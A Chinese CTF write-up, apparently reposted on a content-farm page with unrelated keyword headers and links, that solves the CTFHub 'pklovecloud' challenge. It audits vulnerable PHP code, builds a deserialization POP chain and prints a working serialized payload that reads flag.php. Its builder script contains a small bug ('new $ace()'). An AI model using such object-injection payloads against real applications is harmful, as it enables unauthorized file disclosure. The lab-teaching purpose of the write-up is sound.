当前位置: 首页 > news >正文

富阳建设局网站电话百度关键词价格计算

富阳建设局网站电话,百度关键词价格计算,珠宝玉器监测网站建设方案,包装在线设计网站1.靶场环境 ctfhub-技能树-pklovecloud 引用题目&#xff1a; 2021-第五空间智能安全大赛-Web-pklovecloud 2.过程 2.1源代码 启动靶场环境&#xff0c;访问靶场环境&#xff0c;显示源码&#xff1a;直接贴在下面&#xff1a; <?php include flag.php; class pks…

1.靶场环境

ctfhub-技能树-pklovecloud

引用题目:

2021-第五空间智能安全大赛-Web-pklovecloud

2.过程

2.1源代码

启动靶场环境,访问靶场环境,显示源码:直接贴在下面:

<?php  
include 'flag.php';
class pkshow 
{  function echo_name()     {          return "Pk very safe^.^";      }  
} class acp 
{   protected $cinder;  public $neutron;public $nova;function __construct() {      $this->cinder = new pkshow;}  function __toString()      {          if (isset($this->cinder))  return $this->cinder->echo_name();      }  
}  class ace
{    public $filename;     public $openstack;public $docker; function echo_name()      {   $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file))         {              return file_get_contents($file); }  else { return "keystone lost~"; }    }}  
}  if (isset($_GET['pks']))  
{$logData = unserialize($_GET['pks']);echo $logData; 
} 
else 
{ highlight_file(__file__); 
}
?>

2.2代码审计思路

进行一下代码审计,记录一下思路:

1.直接看主函数:

if (isset($_GET['pks']))  
{$logData = unserialize($_GET['pks']);echo $logData; 
} 
else 
{ highlight_file(__file__); 
}

 要进入if语句中,就必须传入一个get参数pks,然后对pks参数进行反序列化,获得logData对象,并且输出这个logData对象。

2.echo在输出一个对象时,是去调用这个对象的__toString()方法,因此我们跟踪到logData的__toString()方法:我们发现声明的acp对象有__toString()方法:


class acp 
{   protected $cinder;  public $neutron;public $nova;function __construct() {      $this->cinder = new pkshow;}  function __toString()      {          if (isset($this->cinder))  return $this->cinder->echo_name();      }  
}  

3.这就说明在主函数中要echo一个logData对象,我们只需要让这个logData对象是acp类即可,因此我们构造pop链时首先创建一个acp对象。

4.我们观察到acp对象的__toString()方法中的if语句,要进入到这个if语句,就需要acp对象的cinder参数不为空,并且最终会return这个acp对象的cinder属性的echo_name()方法。

5.通过上面我们构造一个pop链:

acp->cinder->echo_name()

6.我们发现声明的pkshow和ace对象都有echo_name()方法,而很明显pkshow的echo_name()方法是写死的没有参数传入的,因此我们需要使用ace对象。所以根据上面的调用链,我们需要让acp对象的cinder参数为ace对象。

综合以上几点,我们需要构造pop链:

$acp=new acp();
$ace=new $ace();
$acp->cinder=$ace;

7.通过以上pop链,已经可以调用到ace对象的echo_name()方法了,我们去看这个方法的执行逻辑:

class ace
{    public $filename;     public $openstack;public $docker; function echo_name()      {   $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file))         {              return file_get_contents($file); }  else { return "keystone lost~"; }    }}  
}  

发现最终的结果是返回$file指向文件的内容,因此我们设置$file="flag.php",而我们要进入if循环,就需要满足$this->openstack->neutron === $this->openstack->nova,也就是ace对象的openstack参数的neutron属性和nova属性相等,我们发现acp对象有这两个属性,因此我们要让ace对象的openstack属性为acp对象:需要新建一个acp对象。

$this->openstack = unserialize($this->docker);

根据这行代码我们判断openstack参数是由docker参数反序列化得到的,因此ace对象的docker参数就是acp对象。下一行代码:

$this->openstack->neutron = $heat;

这行代码中heat参数并不存在,因此neutron的值为null,我们需要让nova参数的值也为null,因此我们在声明acp对象的时候,不需要给nova赋值,结合上述构造pop链:

class acp 
{   public $cinder;  public $neutron;public $nova; 
}  
class ace
{    public $filename;     public $openstack;public $docker; 
}  
$acp=new acp();$acp2=new acp();$ace=new $ace();
$ace->filename="flag.php";
$ace->docker=serialize($acp2);$acp->cinder=$ace;
echo serialize($acp);

这样最后输出的值就是我们构造的恶意参数:

得到pop链:

O:3:"acp":3:{s:6:"cinder";O:3:"ace":3:{s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:58:"O:3:"acp":3:{s:6:"cinder";N;s:7:"neutron";N;s:4:"nova";N;}";}s:7:"neutron";N;s:4:"nova";N;}

访问index.php构造恶意参数pks,F12查看源码获得flag:

http://www.yayakq.cn/news/234864/

相关文章:

  • 哈尔滨自助建站平台2021世界500强企业
  • 建立网站有免费的吗潍坊英文网站建设
  • 网站建设相关的广告标语大连网站建设推广
  • 有什么好的提供外链网站湛江网站建设皆选小罗23
  • 莆田哪里有做网站的但不是网络营销的全部
  • 网站建设怎么办制作二维码的方法
  • 网站快速被百度收录asp.net网站配置文件
  • 公司注销后 网站备案外贸网站搭建推广
  • 网站建设实验分析网站建设可行性
  • 广饶网站设计thinkphp企业网站系统
  • 网站招聘栏怎么做seo排名点击器原理
  • 白云区网站建设mg126包装设计网站是什么样子的
  • 网站名称管理个旧市建设网站
  • 云阳如何做网站如何推广自己成为网红
  • 多用户网站管理系统wordpress简介
  • 文山做网站的地方网站关键词优化办法
  • 网站备案被恶意注销58同城找房子租房
  • 解析域名就可以做网站宁波外客网络科技有限公司
  • 台州企业做网站网站没有备案 合法吗
  • 网站建设图片教程视频苏州企业建设网站公司
  • 简单个人网站欣赏国外出名设计网站有哪些
  • 徐州手机网站优化公司前端开发语言的特点是
  • 影楼手机网站设计医院网站建设需要注意什么
  • 手机端网站变成wap个人博客网站建设预算
  • 绿植租摆网站建设惠州免费自助建站模板
  • 淘宝 网站开发 退货建设局网站投诉开发商
  • 网站建设需要经过哪几个步骤国际域名注册费用
  • 雅安交通建设集团网站给wordpress首页添加公告栏
  • 下列关于网站开发网页上传兰州做网站公司有哪些
  • 北辰做网站公司深圳域名服务器地址